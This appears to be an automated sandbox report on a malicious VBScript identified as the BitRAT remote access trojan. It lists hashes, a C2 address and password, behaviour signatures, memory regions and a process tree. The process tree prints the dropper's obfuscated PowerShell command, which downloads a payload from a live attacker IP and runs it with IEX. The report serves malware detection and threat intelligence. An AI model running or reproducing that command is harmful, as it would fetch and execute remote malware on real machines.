Analysis

  • max time kernel
    189s
  • max time network
    193s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-03-2024 20:57

General

  • Target

    0x.vbs

  • Size

    62KB

  • MD5

    34d6b90b676cf2fe59153c0c01b59278

  • SHA1

    396c2789cf583c24b047976dc91584aa703c067a

  • SHA256

    acec28de93d3ea0afc8d7101cadc56f07ef03492d1b398769c2d20e358b3b846

  • SHA512

    f20cfcd266b691c70f530b92244dd80eddbd5a5c19d1c08bd6b330ff15217e8fef5ca221adabdc75fc2ac1cb4aae8e729073fe85e13c43a89f5cb56c0310af2f

  • SSDEEP

    1536:y9V9A9J9v9/9U9U9v9U9v9A9m9v9/9U9U9v9U9v:F

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://193.233.132.136/a/a.png

Extracted

Family

bitrat

Version

1.38

C2

193.233.132.136:4404

Attributes
  • communication_password

    93d93f0d629d26b535ee4c950717ab2b

  • tor_process

    tor

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • UPX packed file 20 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0x.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://193.233.132.136/a/a.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
          PID:1128
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:5040

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3rqgkdvj.gfp.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1152-20-0x00007FFCA91A0000-0x00007FFCA9C61000-memory.dmp

      Filesize

      10.8MB

    • memory/1152-10-0x00007FFCA91A0000-0x00007FFCA9C61000-memory.dmp

      Filesize

      10.8MB

    • memory/1152-11-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmp

      Filesize

      64KB

    • memory/1152-12-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmp

      Filesize

      64KB

    • memory/1152-13-0x00007FFCA91A0000-0x00007FFCA9C61000-memory.dmp

      Filesize

      10.8MB

    • memory/1152-14-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmp

      Filesize

      64KB

    • memory/1152-15-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmp

      Filesize

      64KB

    • memory/1152-16-0x0000028BEE7A0000-0x0000028BEE7B2000-memory.dmp

      Filesize

      72KB

    • memory/1152-5-0x0000028BF0960000-0x0000028BF0982000-memory.dmp

      Filesize

      136KB

    • memory/5040-26-0x0000000074F80000-0x0000000074FB9000-memory.dmp

      Filesize

      228KB

    • memory/5040-32-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-22-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-23-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-24-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-25-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-17-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-27-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-28-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-29-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-30-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-21-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-31-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-33-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-34-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-35-0x0000000075300000-0x0000000075339000-memory.dmp

      Filesize

      228KB

    • memory/5040-36-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-37-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-38-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-40-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-41-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB

    • memory/5040-42-0x0000000000400000-0x00000000007D2000-memory.dmp

      Filesize

      3.8MB